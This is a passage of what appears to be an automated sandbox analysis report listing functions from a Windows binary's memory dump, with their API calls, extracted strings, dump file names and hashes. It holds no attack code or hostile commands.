                                                                                      • Opcode ID: 4a922d4c85f00677817b5c761d16b1de45b4041caf2284929607811bb1d70d1e
                                                                                      • Instruction ID: 5c5ea0ffdf0ed41db8d8583494e27e5a9fd1c916a3fa5bbfdfdfe215046a2fa2
                                                                                      • Opcode Fuzzy Hash: 4a922d4c85f00677817b5c761d16b1de45b4041caf2284929607811bb1d70d1e
                                                                                      • Instruction Fuzzy Hash: 8C128223A0868281FA20BB15A80457AF7A0FF44BA4FF44236EA9D437E0DF3DE545D724
                                                                                      Function 00007FF78CF56FB4 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 148COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • memset.MSVCRT ref: 00007FF78CF57013
                                                                                      • ??_V@YAXPEAX@Z.MSVCRT ref: 00007FF78CF57123
                                                                                        • Part of subcall function 00007FF78CF51EA0: wcschr.MSVCRT(?,?,?,00007FF78CF4286E,00000000,00000000,00000000,00000000,00000000,0000000A,?,00007FF78CF70D54), ref: 00007FF78CF51EB3
                                                                                      • GetFullPathNameW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF78CF5706E
                                                                                      • wcsncmp.MSVCRT ref: 00007FF78CF570A5
                                                                                      • wcsstr.MSVCRT ref: 00007FF78CF5F9DB
                                                                                      • GetFileAttributesW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF78CF5FA00
                                                                                      • GetFileAttributesW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF78CF5FA5F
                                                                                        • Part of subcall function 00007FF78CF5823C: FindFirstFileExW.KERNELBASE ref: 00007FF78CF58280
                                                                                        • Part of subcall function 00007FF78CF5823C: GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF78CF5829D
                                                                                        • Part of subcall function 00007FF78CF53A0C: FindClose.API-MS-WIN-CORE-FILE-L1-1-0(?,?,?,00007FF78CF6EAC5,?,?,?,00007FF78CF6E925,?,?,?,?,00007FF78CF4B9B1), ref: 00007FF78CF53A56
                                                                                      • GetDriveTypeW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF78CF5FA3D
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: File$AttributesFindmemset$CloseDriveErrorFirstFullLastNamePathTypewcschrwcsncmpwcsstr
                                                                                      • String ID: \\.\
                                                                                      • API String ID: 799470305-2900601889
                                                                                      • Opcode ID: 7ea5b237473074eb8a3c93ab886d3958f76363502f2a90bc42476f967ba8e34b
                                                                                      • Instruction ID: 5186fd6692897e6fc86f13da96601316582417d45a2725bee28d8a5bc86c081a
                                                                                      • Opcode Fuzzy Hash: 7ea5b237473074eb8a3c93ab886d3958f76363502f2a90bc42476f967ba8e34b
                                                                                      • Instruction Fuzzy Hash: F651C933A18AC285FB60AF21E8006B9B7A0FB85B54FA58535DB0D87794DF3CD645C720
                                                                                      Function 00007FF78CF48B20 Relevance: 16.8, APIs: 11, Instructions: 254COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: _wcsicmpwcschr$AttributesErrorFileLastwcsrchr
                                                                                      • String ID:
                                                                                      • API String ID: 1944892715-0
                                                                                      • Opcode ID: b04fd89d1b32d74b41568e07ffd85bc9ccdf1354646f06c8d836b15a263e4c9a
                                                                                      • Instruction ID: 1467127bab80770593e235342a7dc24cbc3b50ebbcd3d2c8a39aa9611c72c959
                                                                                      • Opcode Fuzzy Hash: b04fd89d1b32d74b41568e07ffd85bc9ccdf1354646f06c8d836b15a263e4c9a
                                                                                      • Instruction Fuzzy Hash: 72B18D33A09A4286FA64BF11A851679F6A0FF55B80FE49035DB4E8B791DF3CE544C720
                                                                                      Function 00007FF78CF45458 Relevance: 16.7, APIs: 11, Instructions: 213fileCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                        • Part of subcall function 00007FF78CF53578: _get_osfhandle.MSVCRT ref: 00007FF78CF53584
                                                                                        • Part of subcall function 00007FF78CF53578: GetFileType.API-MS-WIN-CORE-FILE-L1-1-0(?,?,00000014,00007FF78CF432E8,?,?,?,?,?,?,?,?,?,?,00000000,00000014), ref: 00007FF78CF5359C
                                                                                        • Part of subcall function 00007FF78CF53578: GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(?,?,00000014,00007FF78CF432E8,?,?,?,?,?,?,?,?,?,?,00000000,00000014), ref: 00007FF78CF535C3
                                                                                        • Part of subcall function 00007FF78CF53578: AcquireSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,00000014,00007FF78CF432E8,?,?,?,?,?,?,?,?,?,?,00000000,00000014), ref: 00007FF78CF535D9
                                                                                        • Part of subcall function 00007FF78CF53578: GetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,?,00000014,00007FF78CF432E8,?,?,?,?,?,?,?,?,?,?,00000000,00000014), ref: 00007FF78CF535ED
                                                                                        • Part of subcall function 00007FF78CF53578: ReleaseSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,00000014,00007FF78CF432E8,?,?,?,?,?,?,?,?,?,?,00000000,00000014), ref: 00007FF78CF53602
                                                                                      • _get_osfhandle.MSVCRT ref: 00007FF78CF454DE
                                                                                      • WideCharToMultiByte.API-MS-WIN-CORE-STRING-L1-1-0(?,?,00007FF78CF41F7D), ref: 00007FF78CF4552B
                                                                                      • WriteFile.API-MS-WIN-CORE-FILE-L1-1-0(?,?,00007FF78CF41F7D), ref: 00007FF78CF4554F
                                                                                      • _get_osfhandle.MSVCRT ref: 00007FF78CF6345F
                                                                                      • WriteConsoleW.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,?,00007FF78CF41F7D), ref: 00007FF78CF6347E
                                                                                      • SetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,?,00007FF78CF41F7D), ref: 00007FF78CF634C3
                                                                                      • _get_osfhandle.MSVCRT ref: 00007FF78CF634DB
                                                                                      • WriteConsoleW.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,?,00007FF78CF41F7D), ref: 00007FF78CF634FA
                                                                                        • Part of subcall function 00007FF78CF536EC: _get_osfhandle.MSVCRT ref: 00007FF78CF53715
                                                                                        • Part of subcall function 00007FF78CF536EC: WideCharToMultiByte.API-MS-WIN-CORE-STRING-L1-1-0 ref: 00007FF78CF53770
                                                                                        • Part of subcall function 00007FF78CF536EC: WriteFile.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF78CF53791
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: _get_osfhandle$ConsoleWrite$File$ByteCharLockModeMultiSharedWide$AcquireHandleReleaseTypewcschr
                                                                                      • String ID:
                                                                                      • API String ID: 1356649289-0
                                                                                      • Opcode ID: 0c4a37dfe8b9f6674b9d741f685a90a2de3626c6216cde8b4183c3294efd6170
                                                                                      • Instruction ID: e658667c54eb70f8dd84f89190b962eeb6ba9544f99e9951376c75ba980c6b15
                                                                                      • Opcode Fuzzy Hash: 0c4a37dfe8b9f6674b9d741f685a90a2de3626c6216cde8b4183c3294efd6170
                                                                                      • Instruction Fuzzy Hash: 3B916033A0864297FB14BF25A400979F6E1FB89B94FA88135EA4E47795DF3CE444CB10
                                                                                      Function 00007FF78CF686FC Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 226timeCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: LocalTime$ErrorLast_get_osfhandle
                                                                                      • String ID: %s$/-.$:
                                                                                      • API String ID: 1644023181-879152773
                                                                                      • Opcode ID: 52adc4b69c0d6b0cc37f226843e3bc06c06473f0745bac629c27b33a4c267472
                                                                                      • Instruction ID: 6b9ff006c7ff4c6bf642d149f516e0964998dfcab1a486fca38aaa0ab01bd21f
                                                                                      • Opcode Fuzzy Hash: 52adc4b69c0d6b0cc37f226843e3bc06c06473f0745bac629c27b33a4c267472
                                                                                      • Instruction Fuzzy Hash: 6891B363A0868292FF14AB64D4516BAF7A0FF44B84FE48139DA4E43AD5EF3CE545C720
                                                                                      Function 00007FF78CF6627C Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 95synchronizationCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • WaitForSingleObject.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,00000000,00007FF78CF67251), ref: 00007FF78CF6628E
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: ObjectSingleWait
                                                                                      • String ID: wil
                                                                                      • API String ID: 24740636-1589926490
                                                                                      • Opcode ID: ea3b1f99615cb6da41309659edc9fe07f1318ac417b21432a0effa90e1671882
                                                                                      • Instruction ID: 231ff3c5154ae61621965f15b60028d5e1d0db967115aed7967934d157313274
                                                                                      • Opcode Fuzzy Hash: ea3b1f99615cb6da41309659edc9fe07f1318ac417b21432a0effa90e1671882
                                                                                      • Instruction Fuzzy Hash: 9E414F23A0868283F7606B11E442679F6A1FF86781FF49131E94B87B94DF3DE849C721
                                                                                      Function 00007FF78CF6CDC0 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 94windowCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: FormatMessage$ByteCharFreeLocalMultiWide_ultoa
                                                                                      • String ID: $Application$System
                                                                                      • API String ID: 3377411628-1881496484
                                                                                      • Opcode ID: 80d38d575318b3867918aa38a6e3db8ef172391286b4c5249a392e05da5dfb20
                                                                                      • Instruction ID: ce46babf916cebd412aee8fc7b5abdb439a6d761e07b1f53b7321ea233b54374
                                                                                      • Opcode Fuzzy Hash: 80d38d575318b3867918aa38a6e3db8ef172391286b4c5249a392e05da5dfb20
                                                                                      • Instruction Fuzzy Hash: D3414933B08A429AF710AB60E8417EDB7B5FB89748F945135EA4E46B58DF3CD109C750
                                                                                      Function 00007FF78CF414E8 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 64COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: AttributesDirectoryFileRemove$ErrorFullLastNamePath
                                                                                      • String ID: :$\
                                                                                      • API String ID: 3961617410-1166558509
                                                                                      • Opcode ID: 7382dc9ba5dd15d1d826e80cca2a433ebb6210e0cfd6d3e104106e7a41e883e1
                                                                                      • Instruction ID: cf74861235d8717203c3e500a71496e99b4e688fde4996c3814a5f33490f93b1
                                                                                      • Opcode Fuzzy Hash: 7382dc9ba5dd15d1d826e80cca2a433ebb6210e0cfd6d3e104106e7a41e883e1
                                                                                      • Instruction Fuzzy Hash: E121B223A1868296F7107B60A8454B9FAA1FF89B90BE4D135EA1F47794DF3CD448C620
                                                                                      Function 00007FF78CF47AA0 Relevance: 15.2, APIs: 10, Instructions: 221COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: CreateDirectoryDriveFullNamePathTypememset
                                                                                      • String ID:
                                                                                      • API String ID: 1397130798-0
                                                                                      • Opcode ID: 53223a99652f8e81a4eeb04428d23ca491e991d1bc8129b69f2a7ec7696704bc
                                                                                      • Instruction ID: 59bfce0e44b616584d6eecd7c193a39536cdbb1a1efd2fb712544b3ce8617f5c
                                                                                      • Opcode Fuzzy Hash: 53223a99652f8e81a4eeb04428d23ca491e991d1bc8129b69f2a7ec7696704bc
                                                                                      • Instruction Fuzzy Hash: 07917163B08B8286FA65AB11A8506B9F3A1FB48B84FA5C135DB4E47794DF3CD644C720
                                                                                      Function 00007FF78CF5258C Relevance: 15.1, APIs: 5, Strings: 5, Instructions: 85COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                        • Part of subcall function 00007FF78CF506C0: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,00007FF78CF4B4DB), ref: 00007FF78CF506D6
                                                                                        • Part of subcall function 00007FF78CF506C0: HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,00007FF78CF4B4DB), ref: 00007FF78CF506F0
                                                                                        • Part of subcall function 00007FF78CF506C0: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,00007FF78CF4B4DB), ref: 00007FF78CF5074D
                                                                                        • Part of subcall function 00007FF78CF506C0: HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,00007FF78CF4B4DB), ref: 00007FF78CF50762
                                                                                      • _wcsicmp.MSVCRT ref: 00007FF78CF525CA
                                                                                      • _wcsicmp.MSVCRT ref: 00007FF78CF525E8
                                                                                      • _wcsicmp.MSVCRT ref: 00007FF78CF5260F
                                                                                      • _wcsicmp.MSVCRT ref: 00007FF78CF52636
                                                                                      • _wcsicmp.MSVCRT ref: 00007FF78CF52650
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: _wcsicmp$Heap$AllocProcess
                                                                                      • String ID: CMDEXTVERSION$DEFINED$ERRORLEVEL$EXIST$NOT
                                                                                      • API String ID: 3407644289-1668778490
                                                                                      • Opcode ID: 73bc52d87adb43f98016766748090f79ae3978062519f174c0f235f90d2ce4d7
                                                                                      • Instruction ID: 27cf50bf35396a5b09d288c3d5660ad120f649069017f8be81ee03338d42b4e8
                                                                                      • Opcode Fuzzy Hash: 73bc52d87adb43f98016766748090f79ae3978062519f174c0f235f90d2ce4d7
                                                                                      • Instruction Fuzzy Hash: 0F313D23A1854286F7107F25E815279EAA4BF84B40FB49535EB0E862E6DF3CE504CB21
                                                                                      Function 00007FF78CF70C90 Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 282COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: memset$callocfreememmovewcschr$AttributesErrorFileLastqsorttowupperwcsrchr
                                                                                      • String ID: &()[]{}^=;!%'+,`~
                                                                                      • API String ID: 2516562204-381716982
                                                                                      • Opcode ID: 46497fca5754c6479966f60d4708fe0825c75a770e24346d8a6fbe1751f9d7e4
                                                                                      • Instruction ID: 76e7057cb2744c6f967b7cc67cee39a8cc01073ab166601d46463d3113a078c4
                                                                                      • Opcode Fuzzy Hash: 46497fca5754c6479966f60d4708fe0825c75a770e24346d8a6fbe1751f9d7e4
                                                                                      • Instruction Fuzzy Hash: 9BC1AB33A04A9186FB50AB21E9416BEB7A0FF48B94FA45135EE8D43B98DF3CE454C710
                                                                                      Function 00007FF78CF57E80 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 210COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                        • Part of subcall function 00007FF78CF4D3F0: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0 ref: 00007FF78CF4D46E
                                                                                        • Part of subcall function 00007FF78CF4D3F0: HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0 ref: 00007FF78CF4D485
                                                                                        • Part of subcall function 00007FF78CF4D3F0: wcschr.MSVCRT ref: 00007FF78CF4D4EE
                                                                                        • Part of subcall function 00007FF78CF4D3F0: iswspace.MSVCRT ref: 00007FF78CF4D54D
                                                                                        • Part of subcall function 00007FF78CF4D3F0: wcschr.MSVCRT ref: 00007FF78CF4D569
                                                                                        • Part of subcall function 00007FF78CF4D3F0: wcschr.MSVCRT ref: 00007FF78CF4D58C
                                                                                      • iswspace.MSVCRT ref: 00007FF78CF57EEE
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: wcschr$Heapiswspace$AllocProcess
                                                                                      • String ID: A
                                                                                      • API String ID: 3731854180-3554254475
                                                                                      • Opcode ID: 41f65c48cf3e37159ed1ee97e5992bf17c61e45d372bd9afbfce449b4f210755
                                                                                      • Instruction ID: a93d2cc772587fc180f6842e0841d57b215ae70167df4bc894d253982427252c
                                                                                      • Opcode Fuzzy Hash: 41f65c48cf3e37159ed1ee97e5992bf17c61e45d372bd9afbfce449b4f210755
                                                                                      • Instruction Fuzzy Hash: 34A19F23A0968286F720BB11A550679FBA0FF45790FB08135EB8D87795EF3CE545D720
                                                                                      Function 00007FF78CF6A39C Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 111libraryloaderCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: MemoryProcessRead$AddressLibraryLoadProc
                                                                                      • String ID: NTDLL.DLL$NtQueryInformationProcess
                                                                                      • API String ID: 1580871199-2613899276
                                                                                      • Opcode ID: 248bfccf7fce2d74e04c554d0a409a3469e52293056c2e4adbebd786e6cf1904
                                                                                      • Instruction ID: bcd9773d146e36b9a37a5374d321562663b9b6bb2530d81ecc44d577f823d21b
                                                                                      • Opcode Fuzzy Hash: 248bfccf7fce2d74e04c554d0a409a3469e52293056c2e4adbebd786e6cf1904
                                                                                      • Instruction Fuzzy Hash: 56518473A18B8286FB50AB16E80067AB7A4FF89B84FA59135EE5E43B54DF3CD405C710
                                                                                      Function 00007FF78CF47420 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 101fileCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
